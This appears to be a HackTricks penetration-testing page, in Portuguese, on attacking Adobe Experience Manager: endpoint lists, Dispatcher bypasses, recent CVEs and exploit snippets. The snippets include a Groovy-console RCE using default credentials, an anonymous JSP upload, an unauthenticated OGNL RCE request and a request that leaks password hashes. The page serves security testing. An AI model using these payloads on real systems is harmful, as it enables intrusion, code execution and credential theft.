AEM (Adobe Experience Manager) Pentesting
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Java Content Repository (JCR). Do ponto de vista de um atacante, instâncias AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras fracas do Dispatcher, credenciais padrão e uma longa cauda de CVEs que são corrigidas a cada trimestre.
A checklist abaixo foca na superfície de ataque acessível externamente (unauth) que continua aparecendo em engajamentos reais (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Outros indicadores rápidos:
/etc.clientlibs/static path present (returns JS/CSS)./libs/granite/core/content/login.htmlpágina de login com o banner “Adobe Experience Manager”.</script><!--/* CQ */-->comentário no fim do HTML.
2. Endpoints não autenticados de alto valor
| Path | O que obtém | Observações |
|---|---|---|
/.json, /.1.json | nós JCR via DefaultGetServlet | Frequentemente bloqueado, mas Dispatcher bypass (veja abaixo) funciona. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak da árvore de páginas, caminhos internos, nomes de usuário. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 por padrão; se exposto e credenciais encontradas ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Permite que pacotes de conteúdo autenticados façam upload de payload JSP. |
/etc/groovyconsole/** | AEM Groovy Console | Se exposto → execução arbitrária de Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Divulgação de informações. |
/libs/cq/ui/content/dumplibs.html | dump de ClientLibs | Vetor XSS. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Em instalações do Forms mal configuradas (CVE-2025-54253) este endpoint executa OGNL não autenticado → RCE. |
Dispatcher bypass tricks (ainda funcionam em 2025/2026)
A maioria dos sites de produção fica atrás do Dispatcher (reverse-proxy). Regras de filtro são frequentemente bypassed ao abusar de caracteres codificados ou extensões estáticas permitidas.
Ponto e vírgula clássico + extensão permitida
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
Se o Dispatcher permitir barras codificadas, isto retorna JSON mesmo quando /bin supostamente está negado.
3. Configurações incorretas comuns (ainda presentes em 2026)
- Servlet POST anônimo –
POST /.jsoncom:operation=importpermite plantar novos nós JCR. Bloquear POST*.jsonno Dispatcher corrige isso. - Perfis de usuário legíveis por todos – ACL padrão concede
jcr:readem/home/users/**/profile/*para todos. - Credenciais padrão –
admin:admin,author:author,replication:replication. - WCMDebugFilter habilitado ⇒ XSS refletido via
?debug=layout(CVE-2016-7882, ainda encontrado em instalações legadas 6.4). - Groovy Console exposta – execução remota de código enviando um script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Lacuna de barras codificadas no Dispatcher –
/bin/querybuilder.jsone/etc/truststore.jsonacessíveis com%2f/%3Bmesmo quando bloqueados por filtros de caminho. - AEM Forms Struts devMode deixado habilitado –
/adminui/debug?expression=avalia OGNL sem autenticação (CVE-2025-54253) levando a RCE não autenticada; XXE associado em envio de Forms (CVE-2025-54254) permite leitura de arquivos.
4. Vulnerabilidades recentes (cadência de service-pack)
| Trimestre | CVE / Boletim | Afetados | Impacto |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Múltiplos XSS críticos/armazenados → execução de código via author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Cadeia de bypass de feature de segurança (Dispatcher auth checker) – atualizar para 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE leitura de arquivos, não autenticado. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS e escalada de privilégios em componentes Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, execução arbitrária de código (baixa-priv). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-based XSS via URL forjada. |
Sempre verifique o boletim APSB correspondente ao service-pack do cliente e exija a versão mais recente 6.5.24 (Nov 26, 2025) ou Cloud Service 2025.12. AEM Forms on JEE requer seu próprio add-on hotfix 6.5.0-0108+.
5. Trechos de exploração
5.1 RCE via bypass do Dispatcher + upload de JSP
Se escrita anônima for possível:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Agora faça uma requisição para /content/evil.jsp – o JSP é executado com o usuário do processo AEM.
5.2 SSRF to RCE (histórico < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py do aem-hacker automatiza toda a cadeia.
5.3 OGNL RCE em AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Se estiver vulnerável, o corpo HTTP contém a saída do comando.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Retorna nós de usuário incluindo rep:password hashes quando as ACLs de leitura anônima são padrão.
6. Ferramentas
- aem-hacker – Script de enumeração tipo canivete suíço, suporta dispatcher bypass, SSRF detection, default-creds checks e mais.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Detecta QueryBuilder hash disclosure & encoded-slash bypass automaticamente (publicado Dec 2025).
- Content brute-force – requisitar recursivamente
/_jcr_content.(json|html)para descobrir componentes ocultos. - osgi-infect – upload de um OSGi bundle malicioso via
/system/console/bundlesse creds estiverem disponíveis.
Referências
- Adobe Security Bulletin APSB25-115 – Atualizações de segurança para Adobe Experience Manager (9 de Dec, 2025)
- BleepingComputer – Adobe lança correções de emergência para AEM Forms zero-days (5 de Aug, 2025)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


